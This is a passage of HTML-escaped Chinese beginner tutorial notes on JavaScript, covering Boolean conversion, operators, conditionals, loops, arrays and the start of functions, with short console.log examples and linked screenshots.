&lt;p&gt;代表&lt;strong&gt;空、否定&lt;/strong&gt;的值会被转为&lt;strong&gt;false&lt;/strong&gt;，如：&lt;code&gt;0&lt;/code&gt;、&lt;code&gt;NaN&lt;/code&gt;、&lt;code&gt;&apos;&apos;&lt;/code&gt;、&lt;code&gt;&quot;&quot;&lt;/code&gt;、&lt;code&gt;undefined&lt;/code&gt;、&lt;code&gt;null&lt;/code&gt;、&lt;code&gt;false&lt;/code&gt;、错误的判断表达式。&lt;/p&gt;
&lt;p&gt;其余会被转为&lt;strong&gt;true&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;Boolean(value)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var value = 2 - 2;
var result = Boolean(value)
console.log(value, typeof value)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/a812bbb8fc-image-20221114142514278.png&quot; alt=&quot;image-20221114142514278&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要介绍了什么是JavaScript，入门我们的JavaScript。相比之前，接下来一些基础知识会比较枯燥，但是这些枯燥的知识，是未来大家在写功能、逻辑的完美支柱。大家必须要掌握好这些基础，对这些概念，类型要熟记于心，以便以后再学期更复杂的逻辑，会更容易上手。&lt;/p&gt;
&lt;h2&gt;JavaScript-02&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;运算符、流程控制、数组、函数&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;掌握运算符&lt;/li&gt;
&lt;li&gt;掌握流程控制&lt;/li&gt;
&lt;li&gt;熟练使用数组&lt;/li&gt;
&lt;li&gt;理解函数并熟练使用函数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;数组&lt;/li&gt;
&lt;li&gt;函数&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;函数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 运算符&lt;/h4&gt;
&lt;h5&gt;1.1 四则运算符&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;+&lt;/code&gt;、&lt;code&gt;-&lt;/code&gt;、&lt;code&gt;*&lt;/code&gt;、&lt;code&gt;/&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;加减乘除运算。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;a + b&lt;/code&gt; ...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;++&lt;/code&gt;、&lt;code&gt;--&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;自增、自减运算。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;a++&lt;/code&gt;、&lt;code&gt;++a&lt;/code&gt; ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;a++&lt;/code&gt;（后置运算符）是先返回a的值再运算结果；&lt;code&gt;++a&lt;/code&gt;（前置运算符）是先运算再返回结果。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;%&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;取余运算。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.2 赋值运算符&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;=&lt;/code&gt;、&lt;code&gt;+=&lt;/code&gt;、&lt;code&gt;-=&lt;/code&gt;、&lt;code&gt;*=&lt;/code&gt;、&lt;code&gt;/=&lt;/code&gt;、&lt;code&gt;%=&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;a = b&lt;/code&gt;、&lt;code&gt;a += b&lt;/code&gt; ...&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.3 比较运算符&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;gt;=&lt;/code&gt;、&lt;code&gt;&amp;lt;&lt;/code&gt;、&lt;code&gt;&amp;lt;=&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;a &amp;gt;= b&lt;/code&gt; ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;： 返回的是布尔值。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;==&lt;/code&gt;、&lt;code&gt;===&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;判断是否相等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;==&lt;/code&gt;不会校验数据类型是否相等；&lt;code&gt;===&lt;/code&gt;会校验数据类型。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a = &apos;1&apos;
var b = 1
console.log(a==b)
console.log(a===b)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/1a757c911e-image-20221115173230728.png&quot; alt=&quot;image-20221115173230728&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;!=&lt;/code&gt;、&lt;code&gt;!==&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;判断是否不等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：&lt;code&gt;!=&lt;/code&gt;不会校验数据类型是否相等；&lt;code&gt;!==&lt;/code&gt;会校验数据类型。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var a = &apos;1&apos;
var b = 1
console.log(a!=b)
console.log(a!==b)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e0cb209217-image-20221115173255824.png&quot; alt=&quot;image-20221115173255824&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.4 逻辑运算符&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;与运算，每一个表达式做判断，必须每项都为true，最后的结果才是true。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;短路与运算，与&amp;amp;效果一样，不同在于前面的表达式为false，就不会判断后面的表达式了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;|&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或运算，每一个表达式做判断，只要有一个为true，最后的结果就为true。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;||&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;短路或运算，与|效果一样，不同在于前面的表达式为true，就不会判断后面的表达式了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;!&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;取反运算，!true为false，!flase为true。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：返回值是布尔值。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1.5 运算符优先级&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;小括号：&lt;code&gt;( )&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一元运算符：&lt;code&gt;++&lt;/code&gt;  &lt;code&gt;--&lt;/code&gt;  &lt;code&gt;!&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;算数运算符：先  &lt;code&gt;*&lt;/code&gt;  &lt;code&gt;/&lt;/code&gt;  &lt;code&gt;%&lt;/code&gt;   后   &lt;code&gt;+&lt;/code&gt;  &lt;code&gt;-&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关系运算符：&lt;code&gt;&amp;gt;&lt;/code&gt;  &lt;code&gt;&amp;gt;=&lt;/code&gt;  &lt;code&gt;&amp;lt;&lt;/code&gt;  &lt;code&gt;&amp;lt;=&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;相等运算符：&lt;code&gt;==&lt;/code&gt;  &lt;code&gt;===&lt;/code&gt;  &lt;code&gt;!=&lt;/code&gt;  &lt;code&gt;!==&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;逻辑运算符：先  &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;    后  &lt;code&gt;||&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 流程控制&lt;/h4&gt;
&lt;p&gt;​	在一个程序执行过程中，各条代码的执行顺序对程序的结果是有直接影响的，很多时候我们需要通过控制代码的执行顺序来实现我们要完成的功能。&lt;/p&gt;
&lt;p&gt;​	&lt;strong&gt;作用&lt;/strong&gt;：控制我们的代码按照什么结构顺序来执行的。&lt;/p&gt;
&lt;h5&gt;2.1 顺序结构&lt;/h5&gt;
&lt;p&gt;​	最简单，最基本的流程结构，没有特定的语法结构，程序会按照代码的先后顺序，依次执行&lt;/p&gt;
&lt;h5&gt;2.2 分支结构&lt;/h5&gt;
&lt;p&gt;​	根据不同的条件，执行不同的路径代码，从而得到不同的结果。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单分支语句&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果条件表达式的结果为真，则执行&lt;code&gt;if&lt;/code&gt;中的代码；否则直接跳过。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(/* 条件表达式 */) {
    //执行代码
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var isHungry = true
if(isHungry){
    console.log(&quot;饿了呀&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/49cbefdf7a-image-20221114160625819.png&quot; alt=&quot;image-20221114160625819&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;双分支语句&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	如果条件表达式的结果为真，则执行&lt;code&gt;if&lt;/code&gt;中的代码；否则执行&lt;code&gt;else&lt;/code&gt;中的代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(/* 条件表达式 */) {
    //如果条件表达式成立，执行代码
} else {
    //否则，执行的代码
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输出较大值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num1 = 1
var num2 = 2

if(num1 &amp;gt; num2){
    cosnole.log(num1)
}else{
    console.log(num2)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/59b418c4e2-image-20221114160747084.png&quot; alt=&quot;image-20221114160747084&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;多分支语句&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	按顺序判断&lt;code&gt;if&lt;/code&gt;、&lt;code&gt;else if&lt;/code&gt;中的表达式，执行第一个为真的代码；否则执行&lt;code&gt;else&lt;/code&gt;中的代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if(/* 条件表达式1 */) {
    //如果条件表达式1成立，执行代码
} else if(/* 条件表达式2 */){
    //如果条件表达式2成立，执行代码
} else {
    //否则，执行的代码
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;三元表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	双分支结构的简写法，表达式中可以写简单运算、函数调用，最终会将结果值返回。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;strong&gt;条件表达式 ？表达式1 ：表达式2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;/strong&gt;：如果条件表达式成立则返回表达式1的值，否则返回表达式2的值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：若有赋值过程，则最终赋值为表达式的运行结果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输出较大值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num1 = 1
var num2 = 2
/* 输出最大值 */
// 方式一
var max = num1&amp;gt;num2 ? num1:num2
console.log(max)

// 方式二
var max = num1&amp;gt;num2 ? num1:num2
console.log(num1&amp;gt;num2 ? num1:num2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/7a7add63cb-image-20221114160841872.png&quot; alt=&quot;image-20221114160841872&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;switch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	也是多分支语句，用于基于不同的条件来执行不同的代码。当要针对变量设置一系列的&lt;strong&gt;特定值&lt;/strong&gt;选项时，就可以使用switch语句。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：每个case中都必须有&lt;code&gt;break&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;switch(/* 表达式 */) {
    case value1: 
        //执行语句1；
        break;
    case value2: 
        //执行语句2；
        break;
    case ***:
        //执行语句***
        break;
    default：
        //没匹配上执行的代码块
        //执行语句
        break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;switch与if else的区别&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在区间条件判断的时候，if else 比较合适，switch难实现。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进行固定值条件判断的时候，switch会更好，性能更为优良。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.3 循环结构&lt;/h5&gt;
&lt;p&gt;​	在实际问题中，有许多具有规律的重复操作，因此在程序中要完成这类操作就需要重复执行某些语句。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;for&lt;/code&gt; 循环&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for(初始变化量; 条件表达式; 操作表达式) {
    // 循环体
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;过程&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行初始变化量&lt;/li&gt;
&lt;li&gt;判断条件表达式，如果为true，则执行3，如果为false则执行5&lt;/li&gt;
&lt;li&gt;执行循环体，执行4&lt;/li&gt;
&lt;li&gt;执行操作表达式，执行3&lt;/li&gt;
&lt;li&gt;结束循环&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;循环4次，输出循环次数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for(var i=0; i&amp;lt;4; i++){
    console.log(i)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/167220fc98-image-20221114162827423.png&quot; alt=&quot;image-20221114162827423&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;while&lt;/code&gt; 循环&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while(/* 条件表达式 */) {
    // 循环体
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;循环4次，输出循环次数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var i = 0
while(i&amp;lt;4){
    console.log(i)
    i++
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/0b3dbd2567-image-20221114162848537.png&quot; alt=&quot;image-20221114162848537&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;do...while&lt;/code&gt; 循环&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先执行循环体再判断条件表达式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;do {
    // 循环体
} while (/* 条件表达式 */)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;循环4次，输出循环次数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var i = 0
do{
    console.log(i)
    i++
}
while(i&amp;lt;4)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/322c45499f-image-20221114162911003.png&quot; alt=&quot;image-20221114162911003&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键字&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;continue&lt;/strong&gt;：终止本次循环，直接执行下一次循环。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;break&lt;/strong&gt;：立即终止并跳出循环。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 数组&lt;/h4&gt;
&lt;p&gt;数组是指一组数据的集合，其中每个数据被称为元素，在数组中可以存放&lt;strong&gt;任意数据类型&lt;/strong&gt;的元素。常用于存放一组同类数据，如：班级学生名字。&lt;/p&gt;
&lt;h5&gt;3.1 创建数组&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;new Array()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用构造函数，创建一个空数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = new Array()
console.log(arr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/b0b1f5549b-image-20221114163100009.png&quot; alt=&quot;image-20221114163100009&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;字面量&lt;code&gt;[]&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用字面量&lt;code&gt;[]&lt;/code&gt;，直接创建一个空数组或有值数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 空数组
var arr = []
var arr2 = [0,1,2,3,4,5,6,7,8,9]
console.log(arr)
console.log(arr2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4e80b48c0b-image-20221114163146795.png&quot; alt=&quot;image-20221114163146795&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 数组长度&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;length&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接获取数组长度，即元素个数。常用于获取最大索引值 &lt;code&gt;数组长度 - 1&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;数组.length&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123,456,789]
console.log(arr.length)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/9ae599e7bf-image-20221114163210527.png&quot; alt=&quot;image-20221114163210527&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.3 修改数组元素&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;索引&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;数组[索引] = 新元素&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123,456,789]
console.log(arr)
// 修改元素
arr[0] = 0
console.log(arr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e017ca065e-image-20221114163239517.png&quot; alt=&quot;image-20221114163239517&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.4 新增数组元素&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;索引&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对数组最大索引加一的位置进行赋值，会自动添加一个元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;数组[ 最大索引 + 1 ] = 新元素&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：此方式要注意索引不要越界。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123,456,789]
console.log(arr)
// 添加元素，数组长度就是最大索引+1
arr[arr.length] = 0
console.log(arr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c29aeebbb4-image-20221114163307307.png&quot; alt=&quot;image-20221114163307307&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;push()&lt;/code&gt;（常用）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;自动在数组尾部添加一个元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;数组.push(新元素)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123,456,789]
console.log(arr)
// 添加元素
arr.push(0)
console.log(arr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c29aeebbb4-image-20221114163307307.png&quot; alt=&quot;image-20221114163307307&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.5 访问数组元素&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;索引（下标）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数组是一个有序的存储方式，元素的索引值从&lt;code&gt;0&lt;/code&gt;递增。索引即元素在数组中的顺序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;数组[索引]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：超出数组最大索引时，拿到的值是&lt;code&gt;undefined&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [122,312,435,56,-99]
console.log(arr[0])
console.log(arr[1])
// 输出数组最后一个元素
console.log(arr[4])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/bf3594fb5f-image-20221114163721851.png&quot; alt=&quot;image-20221114163721851&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.6 遍历数组&lt;/h5&gt;
&lt;p&gt;利用数组下标具有 &lt;strong&gt;0 --&amp;gt; 数组长度-1&lt;/strong&gt; 的规律，把数组的元素从头到尾&lt;strong&gt;循环&lt;/strong&gt;访问一次&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr = [123, 456, 789]
for(var i =0; i&amp;lt;arr.length; i++){
    console.log(arr[i])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/c28ffc20ce-image-20221114163745471.png&quot; alt=&quot;image-20221114163745471&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;(四) 函数&lt;/h4&gt;
&lt;p&gt;在js里面，我们可能定义非常多的相同的代码或者功能相似的代码，这些代码可能&lt;strong&gt;大量重复&lt;/strong&gt;的使用，如：求和。&lt;/p&gt;
&lt;p&gt;函数就是封装了一段可被重复调用执行的代码块。&lt;/p&gt;
&lt;h5&gt;4.1 声明与调用&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;具名函数（常用）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;function&lt;/code&gt;声明函数时，同时赋予函数名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;function 函数名() { /* 代码 */ }&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function fn(){
    /* 代码 */
}
